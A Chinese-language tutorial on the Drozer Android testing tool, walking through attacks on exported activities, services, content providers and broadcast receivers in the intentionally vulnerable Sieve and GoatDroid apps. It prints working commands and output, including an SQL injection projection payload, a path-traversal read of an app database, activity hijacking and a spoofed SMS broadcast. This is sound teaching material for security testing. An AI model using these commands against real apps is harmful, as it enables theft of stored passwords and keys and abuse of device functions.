Drozer
介绍
Drozer是一款开源的Android安全测试和攻击工具,由MWR InfoSecurity开发。它提供了一个命令行接口,允许用户在安全测试或攻击Android应用程序时进行自动化测试,发现潜在的漏洞和安全风险。Drozer是目前应用最为广泛的Android安全测试工具之一,其功能和易用性受到了广泛的认可和好评。
Drozer的主要功能包括:
- 应用程序渗透测试:Drozer允许用户测试Android应用程序的安全性,包括动态和静态分析,以及漏洞扫描等。
- 应用程序漏洞挖掘:Drozer提供了一个插件系统,允许用户编写自己的插件来挖掘Android应用程序中的漏洞。
- 代码审计:Drozer允许用户快速浏览应用程序的源代码,并快速查找敏感信息和漏洞。
- 安全审计:Drozer提供了一些常见的安全审计功能,例如渗透测试、代码审计和漏洞扫描等。
总的来说,Drozer是一款非常强大的Android安全测试工具,可以帮助安全测试人员发现Android应用程序中的漏洞和安全风险,并提供相应的解决方案。
GitHub: https://github.com/WithSecureLabs/drozer
安装
环境准备
- python 2.7【必须,不然可能会有玄学BUG】
PC控制端安装
# 安装依赖
python2 -m pip install wheel
python2 -m pip install pyyaml
python2 -m pip install pyhamcrest
python2 -m pip install protobuf
python2 -m pip install pyopenssl
python2 -m pip install twisted
python2 -m pip install service_identity
# 下载whl到本地
wget https://github.com/WithSecureLabs/drozer/releases/download/2.4.4/drozer-2.4.4-py2-none-any.whl
python2 -m pip install drozer-2.4.4-py2-none-any.whl
设备端agent安装
wget https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk
adb install drozer-agent-2.3.4.apk
连接
# 端口转发
adb forward tcp:31415 tcp:31415
# 连接
drozer console connect
出现如下内容,就说明OK了
Selecting da226956879c9325 (Xiaomi MI 6 Plus 6.0.1)
.. ..:.
..o.. .r..
..a.. . ....... . ..nd
ro..idsnemesisand..pr
.otectorandroidsneme.
.,sisandprotectorandroids+.
..nemesisandprotectorandroidsn:.
.emesisandprotectorandroidsnemes..
..isandp,..,rotectorandro,..,idsnem.
.isisandp..rotectorandroid..snemisis.
,andprotectorandroidsnemisisandprotec.
.torandroidsnemesisandprotectorandroid.
.snemisisandprotectorandroidsnemesisan:
.dprotectorandroidsnemesisandprotector.
drozer Console (v2.4.4)
dz>
输入run app.package.list
列举出所有的软件,可以列举就更加说明安装成功了。
相关命令
help: 列出所有可用命令,可通过`help <module>`查看指定的帮助信息,如`help app.package.list`
list: 列出可用模块的列表,可选择按名称过滤(也可以使用ls),如 `list service`。
run: 执行模块,使用方式 `run <module>`,如`run app.package.list`
模块介绍翻译:
模块 | 说明 |
---|---|
app.activity.forintent |
查找可以处理给定intent的activity |
app.activity.info |
获取有关已导出activity的信息。 |
app.activity.start |
启动activity |
app.broadcast.info |
获取有关broadcast receiver的信息 |
app.broadcast.send |
使用intent发送广播 |
app.broadcast.sniff |
注册可以嗅探特定intent的broadcast receiver |
app.package.attacksurface |
获取软件包的攻击面 |
app.package.backup |
列出使用备份API的软件包(FLAG_ALLOW_BACKUP 返回true) |
app.package.debuggable |
查找可调试的软件包 |
app.package.info |
获取有关已安装软件包的信息 |
app.package.launchintent |
获取软件包的启动intent |
app.package.list |
列出软件包 |
app.package.manifest |
获取软件包的AndroidManifest.xml |
app.package.native |
查找应用程序中嵌入的本地库。 |
app.package.shareduid |
查找共享UID的软件包 |
app.provider.columns |
列出内容提供者中的列 |
app.provider.delete |
从内容提供者中删除 |
app.provider.download |
从支持文件的内容提供者下载文件 |
app.provider.finduri |
在软件包中查找引用的内容URI |
app.provider.info |
获取有关导出内容提供程序的信息 |
app.provider.insert |
插入到内容提供程序 |
app.provider.query |
查询内容提供程序 |
app.provider.read |
从支持文件的内容提供程序中读取 |
app.provider.update |
更新内容提供者中的记录 |
app.service.info |
获取有关已导出服务的信息 |
app.service.send |
向服务发送消息,并显示回复 |
app.service.start |
启动服务 |
app.service.stop |
停止服务 |
auxiliary.webcontentresolver |
启动内容提供者的Web服务接口。 |
exploit.jdwp.check |
打开@jdwp-control,查看哪些应用连接 |
exploit.pilfer.general.apnprovider |
读取APN内容提供者 |
exploit.pilfer.general.settingsprovider |
读取设置内容提供者 |
information.datetime |
打印日期/时间 |
information.deviceinfo |
获取详细设备信息 |
information.permissions |
获取设备上所有软件包使用的所有权限列表 |
scanner.activity.browsable |
获取可以从Web浏览器调用的所有可浏览的 activity |
scanner.misc.native |
查找包中包含的本地组件 |
scanner.misc.readablefiles |
在给定文件夹中查找可读取的全局文件 |
scanner.misc.secretcodes |
搜索可从拨号器中使用的秘密代码 |
scanner.misc.sflagbinaries |
在给定文件夹中查找suid / sgid二进制文件(默认为/system)。 |
scanner.misc.writablefiles |
在给定文件夹中查找可写的全局文件 |
scanner.provider.finduris |
搜索可以从我们的上下文查询的内容提供者。 |
scanner.provider.injection |
测试内容提供程序的SQL注入漏洞。 |
scanner.provider.sqltables |
查找可通过SQL注入漏洞访问的表。 |
scanner.provider.traversal |
测试内容提供程序是否存在基本目录遍历漏洞。 |
shell.exec |
执行单个Linux命令。 |
shell.send |
将ASH shell发送到远程侦听器。 |
shell.start |
进入交互式Linux shell。 |
tools.file.download |
下载文件。 |
tools.file.md5sum |
获取文件的md5校验和。 |
tools.file.size |
获取文件大小。 |
tools.file.upload |
上传文件。 |
tools.setup.busybox |
安装Busybox。 |
tools.setup.minimalsu |
准备在设备上安装'minimal-su'二进制文件。 |
四大组件
说明
组件名称 | 描述 | 用途 |
---|---|---|
Activity | 代表应用程序中的单个屏幕或用户界面 | 处理用户与应用程序的交互和响应用户的操作 |
Service | 代表应用程序中的后台任务 | 在后台执行长时间运行的操作,例如音乐播放、下载和数据处理 |
BroadcastReceiver | 用于接收系统广播和应用程序内部广播 | 响应系统和应用程序中的广播消息,例如电池电量、网络连接状态、应用程序安装等 |
ContentProvider | 用于应用程序之间共享数据 | 允许应用程序访问其他应用程序存储在特定位置的数据,例如联系人、照片、音频文件等 |
测试
以sieve.apk为例,查看攻击面
# 找到APP包名
dz> run app.package.list -f sie
com.mwr.example.sieve (Sieve)
# 找到模块
dz> ls attack
app.package.attacksurface Get attack surface of package
# 查看攻击面,可以通过 -h 参数查看帮助
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
<packagename>
是包名。可以看到有3个activity、0个广播接收者、2个内容提供者和2个服务可以被导出,并且开启了debug模式。
可导出:可以被其他应用程序或组件调用
一般有参数的情况下需要结合反编译去分析传入的参数,然后用参数
--extra
去构造发送。Intent是一种用于在不同组件之间传递数据和执行操作的机制。Intent除了可以携带数据外,还可以传递Bundle对象或者使用
putExtra
方法传递键值对来传递数据。所以我们在分析参数的时候,着重注意Bundle对象
Bundle bundle = arg1.getExtras(); sms.sendTextMessage(bundle.getString("phoneNumber"), null, bundle.getString("message"), null, null); // 参数 phoneNumber 和 message
Activity
风险点:
- 未授权访问(信息泄漏)
- 拒绝服务(发送空/畸形数据)
- activity劫持
获取可导出activity
# run app.activity.info -a <packagename>
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
Permission: null
com.mwr.example.sieve.MainLoginActivity
Permission: null
com.mwr.example.sieve.PWList
Permission: null
调用对应的activity,切换到对应界面,查看是否存在未授权,以及程序是否会崩溃(拒绝服务)
# run app.activity.start --component <packagename> <component>
# run app.activity.start --component <packagename> <component> --extra string value 12345
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
测试是否存在Activity劫持
# 环境准备
wget https://github.com/yanghaoi/android_app/raw/master/uihijackv2.0_sign.apk
# 安装点击劫持软件
adb install uihijackv2.0_sign.apk
在打开原activity的基础上,调用此组件,如果uihijackv2.0_sign
界面位于被测软件上,则存在漏洞,否则不存在漏洞。
run app.activity.start --component com.test.uihijack com.test.uihijack.MainActivity
Service
风险点:
- 根据具体的功能点分析
- 拒绝服务
获取可导出服务
# run app.service.info -a <packagename>
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
启动服务
# run app.service.start --component <packagename> <component>
dz> run app.service.start --component com.mwr.example.sieve com.mwr.example.sieve.AuthService
dz> run app.service.start --component com.mwr.example.sieve com.mwr.example.sieve.CryptoService
绑定到一个已导出的服务,并向其发送一条消息。如果服务发送了一个回复,则显示接收到的消息及其包含的任何数据【发送数据到服务,并dump数据】
# run app.service.send <packagename> <component> --msg 1 2 3 --extra float value 0.1324 --extra string test value
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 0 --extra string com.mwr.example.sieve.PIN 1234888 --bundle-as-obj
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService:
what: 5
arg1: 41
arg2: 1
Extras
com.mwr.example.sieve.PIN (String) : 1234888
如果返回的是对象类数据,一定要加上参数
--bundle-as-obj
,不然drozer会直接退出。
--msg
和--extra
参数来源:
另一个服务也一样
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 3452 0 0 --extra string com.mwr.example.sieve.KEY 123 --extra string com.mwr.example.sieve.STRING 456 --bundle-as-obj
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.CryptoService:
what: 9
arg1: 91
arg2: 0
Extras
com.mwr.example.sieve.RESULT (byte[]) : [55, 41, -24, -79, 3, 110, -82, -59, 93, -94, -83, -45, -8, 9, 97, -70, -79, 101, -80]
com.mwr.example.sieve.STRING (String) : 456
com.mwr.example.sieve.KEY (String) : 123
关闭服务
# run app.service.stop --component <packagename> <component>
dz> run app.service.stop --component com.mwr.example.sieve com.mwr.example.sieve.AuthService
ContentProvider
风险点:
信息泄漏
注入漏洞
Content Provider中的注入漏洞允许攻击者向Content Provider中注入恶意数据,从而可以获取敏感信息或者执行未经授权的操作。攻击者可以利用注入漏洞来执行SQL注入攻击,从而获取或修改Content Provider中的数据。如果Content Provider中存储了敏感数据,攻击者可能会利用注入漏洞来窃取该数据,导致严重的数据泄露问题。
- 目录遍历漏洞
使用
ContentProvider.openFile()
可以实现应用间共享数据,如果这个方法使用不当将会导致目录遍历漏洞。该漏洞允许攻击者访问Content Provider中未经授权的文件和目录。攻击者可以利用目录遍历漏洞来获取敏感信息,如密码、密钥、证书等。此外,攻击者还可以利用目录遍历漏洞来执行未经授权的操作,如删除或修改Content Provider中的文件,导致严重的安全问题。
获取提供者信息
# run app.provider.info -a <packagename>
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
查询是否存在信息泄漏
# run scanner.provider.finduris -a <packagename>
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query content://com.mwr.example.sieve.DBContentProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
查询数据
# run app.provider.query <uri> [option args]
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
| Password | pin |
| 1 | null |
查询是否存在注入
# run scanner.provider.injection -a <packagename>
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
content://com.mwr.example.sieve.DBContentProvider/Keys
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.DBContentProvider
content://com.mwr.example.sieve.FileBackupProvider
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
利用注入
# 列出所有的表
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* FROM SQLITE_MASTER WHERE TYPE='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) |
| table | Passwords | Passwords | 4 | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
| table | Key | Key | 5 | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT ) |
查询是否存在目录遍历
# run scanner.provider.traversal -a <packagename>
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.DBContentProvider/Keys
content://com.mwr.example.sieve.DBContentProvider/Passwords/
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
利用目录遍历读取文件
# run app.provider.read <uri>
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../../../../../../..//data/user/0/com.mwr.example.sieve/databases/database.db
BroadcastReceiver
风险点:
- 消息伪造
- 拒绝服务
上面的APK不存在广播接收者,所以这里更换为另一个APK
获取可导出广播接收者
# run app.broadcast.info -a <packagename>
dz> run app.broadcast.info -a org.owasp.goatdroid.fourgoats
发送广播
发送电量屏幕的广播
run app.broadcast.send --action android.intent.action.SCREEN_ON
部分系统预定义广播及正常触发时机
action | 触发时机 |
---|---|
android.net.conn.CONNECTIVITY_CHANGE | 网络连接发生变化 |
android.intent.action.SCREEN_ON | 屏幕点亮 |
android.intent.action.SCREEN_OFF | 屏幕熄灭 |
android.intent.action.BATTERY_LOW | 电量低,会弹出电量低提示框 |
android.intent.action.BATTERY_OKAY | 电量恢复了 |
android.intent.action.BOOT_COMPLETED | 设备启动完毕 |
android.intent.action.DEVICE_STORAGE_LOW | 存储空间过低 |
android.intent.action.DEVICE_STORAGE_OK | 存储空间恢复 |
android.intent.action.PACKAGE_ADDED | 安装了新的应用 |
android.net.wifi.STATE_CHANGE | WiFi 连接状态发生变化 |
android.net.wifi.WIFI_STATE_CHANGED | WiFi 状态变为启用/关闭/正在启动/正在关闭/未知 |
android.intent.action.BATTERY_CHANGED | 电池电量发生变化 |
android.intent.action.INPUT_METHOD_CHANGED | 系统输入法发生变化 |
android.intent.action.ACTION_POWER_CONNECTED | 外部电源连接 |
android.intent.action.ACTION_POWER_DISCONNECTED | 外部电源断开连接 |
android.intent.action.DREAMING_STARTED | 系统开始休眠 |
android.intent.action.DREAMING_STOPPED | 系统停止休眠 |
android.intent.action.WALLPAPER_CHANGED | 壁纸发生变化 |
android.intent.action.HEADSET_PLUG | 插入耳机 |
android.intent.action.MEDIA_UNMOUNTED | 卸载外部介质 |
android.intent.action.MEDIA_MOUNTED | 挂载外部介质 |
android.os.action.POWER_SAVE_MODE_CHANGED | 省电模式开启 |
发送给指定的broadcast receiver
# run app.broadcast.send --component <packagename> <component>
dz> run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extra string phoneNumber 123 --extra string message 666
extra参数来源: